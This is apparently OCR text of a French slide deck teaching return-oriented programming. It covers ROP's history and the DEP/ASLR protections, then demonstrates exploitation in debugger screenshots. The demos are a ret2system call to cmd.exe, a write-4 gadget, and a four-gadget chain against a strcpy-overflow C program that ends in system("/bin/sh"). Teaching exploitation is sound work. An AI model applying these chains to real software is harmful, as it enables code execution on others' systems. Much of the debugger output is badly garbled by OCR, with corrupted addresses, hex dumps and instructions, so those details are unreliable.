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INTRODUCTION

L'exploitation de programmes vulnérables est
rendu de plus en plus difficile.

Malgré les nombreuses protections mises en
place, la plupart sont contournables.

"Preventing the introduction of malicious code is
not enough to prevent the execution of
malicious computations”

Hovav Shacham
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ORIGINE DU ROP

 Morris worm (novembre 1988)
Dépassement de tampon sur plateforme VAX/SUN-3
Appel a gets() non sécurisé menant a I'exécution d'un
execve(“/bin/sh”,0,0)

eph One ¢

e Solar ¢

esigner (]

n the stack for fun and profit" (aout 1996)

ans Phrack49
997)

Premier document sur l'exploitation de ret2libc
Pas de shellcode, Utilisation de fonction en mémoire

* "Register Springs" (1999)
Exploitation d'instructions dans la section .text
(jmp %reg) par Dark spyrit



ORIGINE DU ROP

Premier document

* "Borrowed code chunks" (2005) par Krahmer

* Recherche d'instruction précédent l'instruction "ret"
pour les assembler ensemble.

* (un)smashing the stack (black hat 2007) par Moyer

* "Return-oriented programming”
(black hat 2008) par Shacham

* "Practical Return-Oriented Programming"
(Mai 2010) par Dino Dai Zovi



PROTECTION CONTRE LEXECUTION DE CODE

* Protection matéeriel
= Intel "XD" bit
= AMD "NX" bit

* Protection systeme
* DEP (permanent)
 ASLR
- SEH

* Protection a la Compilation

= Canary
= SafeSEH



PROTECTION CONTRE LEXECUTION DE CODE

Réécriture de l'adresse de retour

Réécriture du handler SEH

Ret into libc

Heap overflow

ROP ?



RETURN INTO LIBC

Technique de contournement du DEP / WAX :

* Redirection du flux d'exécution vers une librairie
chargée en mémoire

* On controle les arguments passés aux fonctions
de la librairie
Exemple: execve("/bin/sh", "/bin/sh", 0);
system("cmd.exe");

* Aucun shellcode en memoire.



RET2SYSTEM

OllyDbg - volt_exe - [CPU - main thread. module volt] - 5] x|
@ File “iew Debug Pluging Options “Window Help 58] x|

Blex| win] wi+ 1 A 4 LjE[mT|wH[c|/|K[BIR|..|5] =[H?)

(0p40112F E’Héﬁ EBP ‘I Registers (FPU)
401131 . MOV EBP,ESP Eé§ gggg%ggg
PP401133 . SUB ESP, 19 EDX 0000e01D
PB491136 . MOV EAX,DWORD PTR EBX 7FFDCODD
0461139 . PUSH EAX n ESP 0B12FF64
PP40113A . MOV ECX,DHORD PTR EBP @P12FF78

20401130 . 51 PUSH ECX src ESI FFFFFFFF

PP40113E . LEA EDX,DHORD PTR EDI 7C920228 ntdll.7C920228
Pp401141 . 52 PUSH EDX dest
0481142 . CALL volt.memcpy memcpy EIP 90401130 volt.func

20401147 - ADD ESP,@C C @ ES @023 32bit @(FFFFFFFF)
2040114A - LEA EAX,DWORD PTR | P 1 CS @01B 32bit @(FFFFFFFF)
2040114D - 99 _/PUSH EAX {%s> A @ SS 9923 3Zbit @(FFFFFFFF)
0B40114E . 68 9APUSH volt.B048D49C | format = "#s*™ Z 1 DS 8023 32bit B(FFFFFFFF)

00491153 . E8 3(CALL volt.printf printf S P FS 0038 32bit 7FFDFORO(FFF)
00491158 . 83C4 ADD ESP,8 T 0 GS 9808 NULL

GEZHS | gl uey EREN NE

T ) NS iy B 0 @ LastErr ERROR_SUCCESS (P0Q00000)
PP4P1160 L. C3 RETN EFL 00000246 (NO,.NB.E.BE,.NS,PE,GE,LE)
PP401161 CC |INT3 _

00401162 22| pls } gp’i\ 2:2%; BI-JEORH D1D8 P10S0104 POPDADRR
Address Hex dump ASCII c gg%%gggg gggg%&gg RETURN to volt.mair=
PDADFOP0D D1 DD PO DD PO DD PO OB (O.......

PP4PFPD8 |30 FF 40 0P 01 90 9P 0D (D ®@.©. .. 0012FF6C | BOBAAO1D

PP4PFP10 (48 FF 40 0P P01 90 9P 90 H @.©. .. 0012FF70 | B0B2AO1D

PP4PFR18 (PP PO PP DD PO PO 9P OB | . ... .... O012FF74 | DO3A2980

PPAPFDO20 (60 FF 49 0P 01 90 9P 00| * @.©. .. OR12FF78 BO12FFCO

PP40F0Z28 |78 FF 40 00 01 OO 0P PO | x ®.0. . . dB12FF7C AP4A819FE | RETURN to volt . 8B4
PP40FD30 PO DD PO DD PO 0D PO OB | ........ PO12FF80 | 0RERORO1

PP40FD38 (90 FF 40 0P 91 0D 90 0D [E @.0. .. PO12FF84 | 0R3A30BA

PD4DOF040 (A8 FF 40 DP 01 00 00 0B | @.0. .. OP12FF88 || PB3A3108

PP4DFD48 (CO FF 40 0P 91 0D 00 OQ | L @.0O. .. PB12FF8C || AF@9442F

PP40FOS0 (90 0P 90 PP 00 0D 00 B8 | . .. . . . .. PO12FF90 || 70920228 |ntdll.7C920228
PP40OF0S8 (D8 FF 40 PP 91 0D 0D O (i @.0. .. PO12FF94 || FFFFFFFF

PP40F060 PD 0P 90 DD PD 0D 00 OB | ........ PR12FF98 || 7FFDCReA

0242268 |52 o 30 b o1 02 2 28 5 £:5::: SUZER, | poreccre .
AAAAEAT7S (200 OB 41 OB A1 0K Q0 OR n'a &) g Q012FFA4 | DR0R0000 -

| Breakpaint at valt.func | Pauzed




RET2SYSTEM

OllyDbg - volt.exe - [CPU - main thread, module volt] =181
@ File “iew Debug Pluging Options “Window Help =121
Bl x| wn] v+ ¥ M +f LE[m|T[w|B|c|/|K[B|R[..|S] iZ[i?]
0p40112F g gg E’Héﬁ EBP *' Registers (FPU)

PB491131 . 8BEC|MOV EBP,ESP Eé§ 3832%233

PB4E 83EC|SUB ESP, 10 EDX 0200001D
PB491136 8B45| MOV EAX,DHORD PTR EBX 7FFDCODD
PB401139 580 |PUSH EAX n ESP PP12FF6&0
PB40113A 8B4D MOV ECX,DHORD PTR EBP O012FF60
PB49113D ol PUSH ECX src ESI FFFFFFFF
Bgﬁgﬂgﬁ 3355 IﬁEgHEEEkDHORD PTR P EDI 7C920228 ntdll.7C920228

es
ggjg%%jg Egcﬁn EﬂlﬁLEgglacmemcpy mEmCpy EIP 899401133 volt.B00481133
PB4P114A 8D45|LEA EAX,DWORD PTR S ? Eg ggﬁ g%ﬂit SEFFFFFFFF%
2040114D 50 _|PUSH EAX {%s> A @ SS 9923 3Zbit @(FFFFFFFF)
0B40114E 68 NPUSH volt.Bv48D49C I:Format = "As™ Z 1 DS 8023 32bit B(FFFFFFFF)
ggjgﬂgg Egcgl EglﬁLEgglg-Printf printf S @ FS @3B 32bit 7FFDF@@@(FFF)
PB49115B 33COA| XOR EAX,EAX E) g R
ggj"”ﬁ“ _GORES MOV _ESP ERP 0 @ LastErr ERROR_SUCCESS (00020000)
oo flals 50 r@a12FF 78 D oot ST B PR e
== A12FF64 || 984801 1BF S o ALY _
004 — AAB12FF64 || 094011BF | RETURN to volt.mair
M 0012FF68 || 0@3A2980 | 11 [ih
b4
OUIZFF 70 | poooea1D

003 .@_JE 12FF6CU | EEEEEE 1D ARl
PO40F P28 P00 0D O 8 0. BR12FF78 | _OB12FFCO
P040F 030 ag gg ga aa ag 00 6P ga ________ BB12FF7C || 884019FE RETURN to volt. 204
PB40FB38 90 FF 40 00 91 00 00 00 E @.0 QB12FF80 | b2oboRe1
PR40FP40 A8 FF 40 00 | P1 0D 0D 6O | @.0 O1Z2FF84 | BB3A30BA
PB40FP48 (CO FF 40 00 |91 0O 0D 6D | L @.0 AD1ZFF88 | BB3A3108
PB4P0FR50 PO OO OO PO PO PO OB PO || . ....... DB1ZFF8C || AFB9442F
PP40F058 (D8 FF 40 00 | P1 00 00 00| I @.0 DD12FF90 || 7C920228 (ntdll.7C920228
PR4PFP6D 0 00 DO PO PO PO OO PO || . ....... PA012FF24 || FFFFFFFF
cRusocs |18 op 28 88t o o L b B2 % | oo .

n'a'ﬁm 2l O012FFAQ || FFFFFFFF -

| Pauzed




RET2SYSTEM

OllyDbg - volt._exe - [CPU - main thread, module volt]
@ File Wiew Debug Pluging Ophion: Window  Help

=81 x|
=81 x]

Bl x| wn| w4 A +f L|E[M[T|W|H|c|/[K[B[R|..|s]| =E|IE]?]

BB40112F

401131
0491133
PB401136
PP401139
P040113A
0040113D
P040113E
20401141
008401142
pB4a1147
P040114A
PBe40114D
Pe40114E
PB401153
0401158
PB40115B
PB40115D
P040115F
PP401160
Pp401161

20401162

INT3

PUSH EBP
MOV EBP,ESP
SUB ESP, 10

MOV EAX,DWORD PTR

PUSH EAX

MOV ECX,DHORD PTR

PUSH ECX

LEA EDX,DWORD PTR

PUSH EDX

CALL volt.memcpy

ADD ESP,8QC

LEA EAX,DWORD PTR

PUSH EAX

PUSH volt.B80480D49C
CALL wvolt.printf

ADD ESP,8
XOR EAX,EAX
MOV ESP,EBP
POP EBP
RETN

INT3

INT3

—n
src
dest

—memcpPy

—{¥s )
format

—printf

L

Registers (FPU)

PO3AZ2980

41 41
PB3A2988 41 41
41 41

PB3A2990

BBBA299B BC C1 40 P9 DA 00 0B 09

Address _|Hex dump

| 0012FF 64
|op12FF68

EAX 0000001D
ECX 00342980
EDX @012FF5@
EBX 7FFDF@Re
ESP @012FF44
EBP @012FF60
ESI FFEFFFFF

EDI 7C920228 ntdll.
EIP 02481142

ES 0823 32bit
CS 001B 32bit

SS 0823 32bit
DS 8823 32bit

P38 32bit

GS 980 NULL
LastErr ERROR

OO=—=WNMNI>
pololololodod Sl
M
w

m
e
-

00000206

(NO,NB,NE, A,NS,PE, GE, G)

70920228

volt.00401142

@(FFFFFFFF)
@(FFFFFFFF)
@(FFFFFFFF)
@(FFFFFFFF)
7FFDE@@@(FFF)

SUCCESS (00000ooa)

ST® empty -UNORM D1D8 01859104 80000004
2 STl empty 0.0

s O012FF44 BélZFFSB

ASCLL PR12FF48| @03A2980@ LdESt =aggigggga ]
src =
41 41|41 41 41 41| ARAARAAR 0O12FF4AC | @Beeaald L. - 1D (29.)
41 41 D4 11 40 PO | AAAAE«@. P012FF50 00R0ARA
i@ . PR12FF54 | Q000000
LALA  LALA  LALA LALA L LALA  LALA  LALA  LALA BE].ZFFSB BBBEEEBB Dest
SO [ r@B1Z2FF78 -
PP12FF64 || 20401 1BF |[RETURN to volt.main
Eﬂqﬂ 1 1BF PO12FF68 || 8P3AZ2980
DO3AZ2980 | /|ooiz7: || aesazose
PP12FF78 | —@@12FFC@
5 AL PP12FF7C |[ @04@19FE [RETURN to volt.@@4¢
. PR12FF80 || 000001 _
P012FFa4 || 003A30BO .

| Pauszed



OllyDbg - volt._exe - [CPU - main thread, module volt]

@ File Wiew Debug Pluging Ophion: Window  Help

RET2SYSTEM

=81 x|
=81 x]

Bl x| wn| w4 A +f L|E[M[T|W|H|c|/[K[B[R|..|Ss]| =E|IE]?]

[PP40112F | . gg E’Héﬁ . I Registers (FPU)
20401131 . 8BEC|MOV EBP,ESP Eé§ 88555539
0491133 83EC| SUB ESP 10 EDX 00000001
—n
corelisy £40| MO, EE;oHORD PR (2 dolorrco
sSrc

oA 8DSS| LEA EDX.DWORD PTR || = . Eg% 55555555 ntdll.7C920228
Egcgc ESIﬁLEgglaémemcpy L memcpy EIP 90401147 volt.BB461147

. C @ ES 0023 32bit @(FFFFFFFF)
PP40114A 8D45|LEA EAX,DWORD PTR i
©940114D 5@ _|PUSH EAX - s> A O SS 0023 3obit OFFFEFFEF)
Pe40114E 68 AHPUSH volt.BB48D49C| format = "%s*™ Z @ DS 0023 3?bit B(FFFFFFFF)
PB401153 E8 3{CALL volt.printf |“printf S P FS OGB3B 3?bit 7FFDFORB(FFF)
coselise SocdlABD ESEB f 8 S ooea NiLL

. D @
0040115D 8BES|MOV ESP,EBP
AT S (oA E S 0 @ LastErr ERROR_SUCCESS (00000000)
0P401160 " €3 |RETN EFL 20000206 (NO,NB,NE,A,NS,PE,GE,G)
20401161 CC |INT3 _
00401162 23 | LhLE ) g¥? gm::; BPEORM D1D8 91050104 PROOAO)
‘ AR *
gggﬂgggg ﬂﬂiﬂﬂﬂﬂi AB12FFAC | @@epRa1D
0P3AZ990 AAAAE (@. @012FFS@ 41414141
@83A2998 11@. .. PP12FF54 | 41414141
DO3A2D fulleidid - PP12FF5S8 | 41414141
003A25] LALS / A1414141 1 41414141
posasd o 0012FFe4 | OAD1IDA |volt 00401104
ee31r29( IE) 12FF64 A4311D4 O012FF68 D@4BCIBC |ASCII “cmd.exe"
@B3A29
PO3A29
soazol A0 12FFEB BRAACIBC | /%557 casazoan
0D3AZ9| 4= 1 AB12FF78 | ~@@12FFCo
ee3A29 LIb @B12FF7C || @@4@19FE [RETURN to volt.@04(
DD T 20 | e i epmrptmper e ifimsorpmeer e i AB12FFa0 | pe0enea1 _
ARRAZAC8 | o0 Op A 0012FFa4 || PA3A30BD :

| Pauszed



OllyDbg - volt._exe - [CPU - main thread, module volt]
@ File Wiew Debug Pluging Ophion: Window  Help

RET2SYSTEM

=81 x|

=81 x]

401131
0491133
PB401136
PP401139
P040113A
0040113D
P040113E
20401141
00401142
pB401147
P040114A
PBe40114D
vB40114
PB4011

0040 8

BB40112F

Bl x| wn| w4 A +f L|E[M[T|W|H|c|/[K[B[R|..|Ss]| =E|IE]?]

. gg g”éﬁ o ‘l Registers (FPU)
B EAX 00000000
8BEC|MOV EBP,ESP ECX 9P401829 volt.00401829
. 83EC|SUB ESP, 1@ EDX 9P419050 volt.90410050
. 8B45|MOV EAX,DHWORD PTR EBX 7FFDCO@@
. 58 |PUSH EAX n ESP BP12FF64
. 8B4D| MOV ECX,DHWORD PTR ERBP 41414141
. 51 PUSH ECX src ESI FFFFFFFF
. 3355 kEgHEEERDHORD PTR oot EDI 7C920228 ntdll.7C920228
: Ech'ESELEESIEémemCPY memepy EIP 80401160 volt.00401160
. , C @ ES @923 32bit B(FFFFFFFF)
- 2345 kEgHEEERDHORD PTR P P 1 CS @91B 32bit @(FFFFFFFF)
T ro o ainlcu 1L WA DA™ r/-S — — 'A' @ $§ gggg 32b11': SEEEEEEEEE%
41160 — . C3 THN| 7rroFoeecrir)

00421158 33CO| XOR EAX,EAX Do
e SBES HOY ERF.EBP 0 @ LastErr ERROR_SUCCESS (00000000)
0DA01160 ——C3  RETR EFL @@@e@246 (NO,NB,E,BE,NS,PE,GE,LE)
CC INT3 -

Ob401167 T ‘ ST empty Bugonn_nma 9195@1a4-?9aaaaaa
Address ASCII 2 op ZA 004011D4 |volt.004011D4 :
0e3A2980 ARARARAR DO1ZFF6E PA4ACIBC |ASCII “cmd.exe
@P3A2990 : OD12FF70 ©@9eaR1D
06342998 1. .. OD12FF74 @@3A2980

QQ12CE7E cOR1ZEECD.
@A3A29A8
s 00401104 volt .004011D4

] | |

snzoce |A1ZFFEE | 904AC1BC ASCII "cmd. exe
PP3AZ90@ |00 0P VY 0D 00 @0 00 ©9) - ....... COTZFFo0 | 7€920228 ntdlT.
PP3AZ9D8 |00 00 PP PO B0 00 @Y V0 | .. ... ... @O12FF94 || FFFFFFFF
PP3AZ9EQ |00 00 0D PO B0 00 90 VO | .. ... ... @012FF98 || 7FFDCOeR
PP3AZ9ES |00 00 0D PO DO 00 @Y V0 | .. ... ... @012FF9C | @R12FFAC
PB3AZ9F0 00 00 B0 0D 00 00 0D 0D | ........ |9o12FFA@ || FEFEFFFE N

| Pauszed



RET2SYSTEM

DllyDbg - volt.exe - [CPU - main thread, module volt] =181 =]
@ File Wiew Debug Pluging Ophion: Window  Help Ailil
B[ x| »[l JJ 4 | =+ L[E[M[T[W[H|[c|[/[K[B[R|..[8] iZ[i]?]
ggjg%%gg ggcgcgﬁ ADD ESP,4 . ‘Il Registers (FPU)

= llpausell
PB4011D4 ES8 DSP4|CALL volt.system Esvstem Eé§ ggﬁgi’ggg volt . P4918729
004011D9 || . 83C4 ADD "ESP .4 ] EDX 90410050 volt .00410050
084011DC . 6A PUSH 64 ETlmeout =~J]00. ms |EBX 7FFDCBPD
BB4811DE . E 80 CALL DHWORD PTR DS: LSleep ESP PR12FF&68
BB4011E4 3CH XOR EAX,EAX EBP 41414141
PP4011E6 . 8BES MOV ESP,EBP SI1 FFFFFFFF
- EEEr’NEBP 7C920228 ntdll.7C920228
JMP DHWORD PTR DS:[ WS2_32.accept EIP ®a4011D4 volt.@04011D4

0023 32bit QA(FFFFFFFF)

]. t.s Y5 t em I—E VS £ &m| eole 32bit O(FFFFFFFF)

0023 32bit QO(FFFFFFFF)

0401207 | $-FF25 44 JMP DHORD PIR DG:I] HS2Z _32.bind :
PP4P1208 | $-FF25 49 JMP DHORD PTR DS:[ HSZ_32Z.recv % é Eg 88%3 3%2;{ %FEEEEE'EF%F)
P040120E | $-FF25 3C|JMP DHORD PTR DS:L[[ HS2_32.HSACleanup (T @ GS 9888 NULL
00401214 | $-FF25 34 JMP DHORD PIR DS:[ WSz 32 NeRGotLaste|D 2

- 5 L - e as
00401220 | $-FF25 30 JMP DWORD PTR DS:[ W82 32 inmet adde |C @ LastErr ERROR_SUCCESS (00000000)
gggg%ggg ’_EEZS 2C| .Ijnfrianuonn PTR DS:[| WS2Z2_32.WSAStartup |EFL ©0@BB246 (NO,NB,E,BE,NS,PE,GE,LE)
B AT & Ll ) gﬁu gmi éugonn D1D8 P1PS0194 PROPRORD

ety e
P04aC1CC PEC.CorE O012FF74 | 0O3A2980

PO12FF78 rOQ12FFCO
BBIZFF?C PB4019FE RETURN to volt.084¢
PPPBBLA1
84 || BB3A30BO
88 || BB3A3108

2040C1D4
084aC1DC

9 74 580 72 6F 63 65 xitProce
73 80 90 6D 0B 73 00 ss..m.s.
882881 63 0B 6F BB 72 9B 65 BB c.o.r.e.

2046C E 65 ?B 65 EE CII'IL'I - 8C || AFg9442F

P4OCITOTT7Z 20 00 00 O UA U0 OF I ...-.~- 7C920228 |ntdll.7C920228

T -
@R40C20C |54 4C 4F 53 53 20 65 72 TLOSS er @P12FF94 || FFEFFFFFE
@p4a0C214 |72 6F 72 BD DA 90 @0 @@ ror..... @012FF98 || 7FFDCEe
@p40C21C |53 49 4E 47 2@ 65 72 72 SING err @R12FF9C || PR12FFAC
D0A0Co5C 44 4F 4D 41 49 4B 20 69 DOWAIN GD12FFA4 || boopOBED i
AT LY. el 2l 0012FFAS || PA12FF8C -

| Pauszed




RET2LIB

Retour chainé vers les modules chargés en mémoire
* SetProcessDEPPolicy (Bloqué par le DEP permanent)
* NtSetProcessinformation (idem)
* WriteProcessMemory

* VirtualProtect

* VirtualAlloc



RET2LIB

e Le fait que la pile soit en WAX n'est plus un
probleme, mais il existe d'autres protections.

ASLR (Adresse Space Layout Randomization)

e A cause de I'ASLR les modules sont chargés en
mémoire a des adresses imprevisibles

Faiblesse de cette protection :

= | a randomisation des adresses

* Certain module ne sont pas affectes par 'ASLR
* Fuite mémaoire.



LE ROP EN PRATIQUE



RETURN-ORIENTED PROGRAMMING

e Certaines plages mémoire ne sont pas affectées
par I'"ASLR

" Inconvénient : elles ne contiennent pas forcément
des fonctions intéressantes

e A defaut de pouvoir utiliser un ret2libc on saute
sur un bloc d'instruction précedant l'instruction ret.

* Ces blocs d'instructions sont appelés gadgets.



RETURN-ORIENTED PROGRAMMING

* On peut ainsi combiner plusieurs gadgets afin
d'effectuer des opérations basiques :

= Write4
* Fuite / Modification memoire

* Appel de fonctions se situant dans les librairies
partagées

= Hook ...



WRITE 4

DllyDbg - volt.exe - [CPU - main thread, module volt] O] %|
@ File “iew Debug Plugne Options Swindow Help ;Iilﬂ
Bl x| »nf v #1 A +f v|E|M[T|wH|c|/|K|B[R|..|5] E[F]?]
0040113A (] . 8B4D @8 MOV ECX,DHORD PTR SS: -l Registers (FPU)
2040113D o1 PUSH ECX src B FAY popooooo
P040113E 8D55 F@ |LEA EDX,DHORD PTR SS: ECYX PP401879 volt.R401829
00401141 22 PUSH EDX dest EDX 90410050 volt .20410050
0401142 E8 E900¢ CALL volt.memcpy —memcpy EBX 7FFDS@P0
0401147 83C4 OC | ADD ESP,®@C ESP PR12FF 64
PR4D114A 8D4S F@|LEA EAX,DHORD PTR SS: EBP 41414141
PP42114D 51%) PUSH EAX —<{xs ) ESI FEEFFFFFF
2040114E 68 2CD44 PUSH volt.8848D49C format EDI 7C920228 ntdll.7C9720228
PP4P1153 E8 3606€ CALL volt.printf _printf
ggjg%%gg gggg 28 %BB EEE_EAX EIP 80401160 volt.0401160

, C @ ES 9923 32bit O(FFFFFFF
e040115D 8BES MOV ESP,EBP P 1 CS 001B 32bit O(FFFFFFF
0401 15F oD POP EBP A @ SS P23 32bit O(FFFFFFF
0401160 Cc3 RETN Z 1 DS 8823 32bit O(FFFFFFF
coeriell &L [INIS S8 ES ooX Zamit rbrove
| 90401163 CC____ |INT3 #dD o
Address Hex dump ASCII = 88%%5;23 gggg?gg% volt.BBq-
POADFOD0D |01 DD DD DD 0D DD PO OD (O, . ... ..

PP4PFPP8 |30 FF 40 9D 91 PO 9D PD|D @.O. .. BWol1Z2FF6C| DEADBEEF

PP40F010 |48 FF 40 00 01 00 0D PO H @.0. .. WO12FF /0| ©04030BE RETURN t

PP40FP18 | PD PP VD OO PO PO OO PO | .. ... ... BO12FF74| 41414141

PDAPFP20 |60 FF 40 PD 91 90 9D PO | @.6. .. BO12FF78| 42424242

PP40F0P28 |78 FF 40 00 01 0D 0D 0D |x ®.0. .. VO1ZFF/C| ©0B480190A volt.0d4

PP4APFP30 | PD PO PO PO PO PO PO PO | ... ... .. Vo1ZFFan| odboenol

PP40FP38 |90 FF 40 00 01 0D 0D OD|E ®.0. .. BO1Z2FF84 | OB3A30BA

PP40FP40 | A8 FF 40 00 91 00 0D PD|i ®.0. .. VO1ZFF88| 0B3A3108

PR4OFR48 [CO FF 40 00 01 0D 00 00| L @.6. .. Wo1Z2FFaC| FB63ATEC -
PP40FP50 |00 PP DD OO OO PO OO PO . ....... belz2FF96 | 70220228 ntdll.7CC

| | Pauzed




WRITE 4

=10l x|
=17 %]

OllyDbg - volt_exe - [CPU - main thread, module volt]
@ File “iew Debug Plugn: Option: Window Help

Bl x| »u] w4 354 9 i u|E|mjT|wnfc|s|x]B|r]-]s| =

RIELES 58 ng Eg¥ I Registers (FPU)
EAX 00DP00000
cesenss S Boa%00E2 Vol 82408022
P0403A4¢4/| . B9 68F34 MOV SET volt._ J EBX JFFDSeae O
A0403A4 .~EB @5 JMP olt . BB403A ESP PP12FF68
3 AL AgaA ROy EARRDAORD IR DR 20 i
ESI FFFFFFFF
: ggg% %2 igg Eﬁﬁ’ﬁﬂ EDI 7C920228 ntdll.7(920228
) %éFEAESFSEpSEEE;OFF? gﬁﬂégn EIP 92483A41 volt.00403A41
. volt
- Al
- PUSH_ -2 POBR1337
xon EDX, EDX
004 oF 37 ElElZFFGC DEADBEEF
a4 GS @928 NULL
004 D a
Add H o0 2| DEADBEEF ‘
o s N —@GAUIGBE RETURN t
204 -2 O012FF74| 41414141
ooal = B B g Ty B [T QD12FF78 | 42424242
004 - PP12FF7C 0P40199A volt .004
204 -2 OP12FF80 DDDDRRD1
ool ™™ "Rl 0 [T O012FF84 ©B3A30BO
004 - OP12FF83 @P3A3108
204 -2 PP12FF8C| FB63AT7EC
004 -2 0012FF90| 7C920228 ntdll.7C
PP40FD50 | 00 DD DY 0D 0D 00 0D 0D ........ o{ P012FF94| FFFFFFFF -

| | Pauzed




WRITE 4

| OllyDbg - volt_exe - [CPU - main thread, module volt] ;|g|5|
| @ File “iew Debug Plugng DOplions Window Help =|7] x|
B4 x| wn] w4 &0 M | L|E[M|T|W/H|c|/|K[B[R].[]S] iE[H]?]
00403742 | . EE ng Eg¥ ‘ - oY)
| AP4D3A42 | EAX 00001337
00403A43 BN we RETN "’#"’#‘ﬂﬂﬂﬂﬂﬂﬂpEcx boooizzs
@@403A44 | > 33D2 XOR EDX,EDX EDX 00410050|volt . 20410050
AB4A3A46 B9 &68F34MOV ECX,OFF - EBX 7FFDSPRO
P0403A4B| .. EB @5 JMP S olt . 04034 ESP PB12FF70
P0403A4D | > Al ADBA4 X,DHORD PTR DS: EBP 41414141
@@4a3A52 | > : ESI DEADBEEF
8323%&%3 - EDI 7C920228| ntdll.7C920228
gggggig? E A H EIEIEIEI 1 33 ? EIFP 90403A42 volt.00403A43
" C @ ES 0923 32bit @(FFFFFFF
00403A63 | . E C H Eﬂqﬂ 1 329 P1 CS @O1B 32bit O(FFFFFFF
Q04a3A65 | . A @ SS 023 32bit O(FFFFFFF
00403A66 | . Z 1 D9 @023 3Zbit O(FFFFFFF
ziens . EDX 084108050 P8 K G o Trroreee
| 004@3A6E | > _ D @
e EBX 7FFDS000 T
Bgﬁgﬁggg gé o1 7rF7e | 42424242
PRIOFP10 | 48 E S P EE 1 2 F F F E PO1ZFF7C| 20040190A volt.004
PP40FB18 | BB AR1ZFF80 | 0BBRD1
Q040F 020 | 60 A012FF84| @03A30B0
Q040F028 | 78 E B P 4 1 4 1 4 1 4 1 P012FF88| P03A3108
Q040F030 | 00 @O12FF8C| FB63ATEC
@040F@38 | 90 Q012FF92| 7C920228 ntdll.7C
= {[ESI_DEADBEEF|/ |= = &
PP40F48 | CO Ba1Z2FF258| 7FFDOB0A B
@040FP50 |00 V0 V0 PP VY PP 00 O] ... ... .. QO1ZFF9C| @@12FFAC -
| |F'auseu:|




WRITE 4

| ONlyDbg - volt.exe - [CPU - main thread, module yolt]
_ File “iew Debug Plugine Options Swindow Help

S x| win| w4 ¥l | -+ LjEjMT|WH|c|/|K|B|R|..|5] i=|iE?]

=101 %]
=17 %]

ggjggggg . 8930 Egg EE?RD PTR DS:LEAX]1.ESI ‘|Registers (FPU)
. EAX 00001337
an403aC1 POP EBP ECX 92401829 volt.d@401829
0040230C2 RETN 92410050 volt . 20410050
P04030C3 MOV EDI,EDI JFFDSPP0
an4aaac5, PUSH_EBP ESP
204030C 8BEC MOV EBP,ESP EBP
004032C8 8845 @8 MOV EAX,DWORD PTR _SS:[EBP+8] ESI

o408

MOV DWORD PTR D5:[EAXI1,ESI
~POP ESI
~POP EBP

ntdll. 7C920228
volt . 004030BE

32bit O(FFFFFFF
32bit O(FFFFFFF
32bit B(FFFFFFF
32bit B(FFFFFFF
32bit 7FFDFBBA(

0040

oo:RETN —

Address [Hex dump ASCII e 421%2%2% =
PR40F000 |01 0P 0P 00 PP 0D 00 00 (O.......

codorose 20 [r 20 0901 09 09 5 9§18 GISTELC| atoizot voit-oos
004 0P 00 00 00 0R 00 2k _a0 _ PO12FF84 | ©03A30BO

Jbccess vinlation when writing ta [000071337]] ...
e e e e e | B oo Sy an g |y e S S

AU A
Q40FP50 |00 PO PO OO 0D PO PO PO | ........ { 0012FFAQ| FFFFFFFF 5

Access violation when writing to [00001337] - use Shift+F7/F8/F3 to pass exception to program

| | Pauzed



RETURN-ORIENTED PROGRAMMING

Comment trouver des gadgets ?

e Scan des plages mémoires executables et non
randomizeées a la recherche d'opcode :

C3 RETN

CZ 91898 RETN 1

8933 MOV DWORD PTR DS:[EBX1,ESI
CaCc3 99 ROL BL, 90

20 NOP

33C0 XOR EAX,EAX

C3 RETN

20 NOP

* ImmunityDbg / Ida + Distorm ?



RETURN-ORIENTED PROGRAMMING

Comment trouver des gadgets ?

e Scan des plages mémoires exécutables et non
randomizées a la recherche d'opcode :

C3 RETN

CZ 8188 RETN 1

8933 MOV DWORD PTR DS:[EBX1,ESI
CacC3 989 ROL BL,99

90 NOP

33C0 AOR EAX,EAX

C3 RETN

90 NOP

* ImmunityDbg / Ida + Distorm ?



RETURN-ORIENTED PROGRAMMING

Comment utiliser des gadgets ?

* Construction d'une liste de gadgets en les classant
par type :

* Modification de registre

* Modification d'adresse mémoire

» Calcul sur un registre ...

* Tri et simplification du dictionnaire pour ne garder
qgue les gadgets essentiels

* Construction de l'exploit en combinant

logiguement les gadgets
http://www.usenix.org/events/sec09/tech/slides/hund.pdf



RETURN-ORIENTED PROGRAMMING

EXEMPLE DE PROGRAMME
VULNERABLE



RETURN-ORIENTED PROGRAMMING

1. #include <string.h>

2. #include <stdlikb.h>

3. #Hinclude <=tdio.h>

g,

3. int funcichar *msqg) |

. char buft[80] ;

7.

H. strepy (but, msog)

= buf[U] = toupper (but[0O]) ;
10. strepy (msg, but) ;
11. printf ("Caps: %=\n",msq) ;
12 . exit (1) ;
13. 1}
14.
13, int mwain(int argv, char** arge) |
16. fTunc (arge[1]) ;
17. 1}

http://divine-protection.com/tc/



RETURN-ORIENTED PROGRAMMING

CONTEXTE DU PROGRAMME

* ASLR & Stack -x (seul la section .text est fixe)
» Architecture x86

 Compilé sur une machine *unix



RETURN-ORIENTED PROGRAMMING

char buff[80];
strcpy(buff, argv[1]);
strepy(argv[1], buff);
printf("...

Le premier strcpy() écrase 'adresse d'argv[1]
avec 0x804a010

0x80483e0 <printf@plt>: mp *0x804a010



RETURN-ORIENTED PROGRAMMING

strcpy(0x804a010, argv[1]);
printf("...

0x80483€e0 <printf@plt>: mp *0x804a010
0x804a010 pointe sur 0x080485a2

Lors de lI'appel a printf() on saute sur le premier
gadget (0x080485a2)



RETURN-ORIENTED PROGRAMMING

1ler gadget :

0x80485a2: add $0xc,%esp
0x80485a5: pop %ebx
0x80485a6: pop %esi
0x80485a7: pop %edi
0x80485a8: pop %ebp
0x80485a9: ret

ebp = 0x804a2e8 — apres la bss



RETURN-ORIENTED PROGRAMMING

2eme gadget :

0x804838c: pop %eax
0x804838d: pop %ebx
0x804838e: leave
0x804838f . ret

eax = Oxfffc52c0
ebx = 0x138ea014

esp = 0x804a2ec (Pointe dans notre buffer)



RETURN-ORIENTED PROGRAMMING
3eme gadget :

0x80485ce:
0x80485d4:
0x80485d7:
0x80485d8:
0x80485d9:

add
add
POP

POP
ret

eax = Oxfffc52c0
ebx = 0x138ea014 — adresse de strcpy()

0x80485ce: add O0xf475fft8(%ebx),%eax
0x80485ce: add eax, [ebx-0BS8A0008N]

eax = 0xb7e53140 — adresse de system()

Oxf4 7 5fff8(%ebx),%eax
$0x4,%esp

%ebx

%ebp



RETURN-ORIENTED PROGRAMMING

4eme gadget :
0x80484af. call *%eax

call system("/bin/sh;");

WOO0T !



CONCLUSION

e Les shellcodes ne sont pas nécessaires
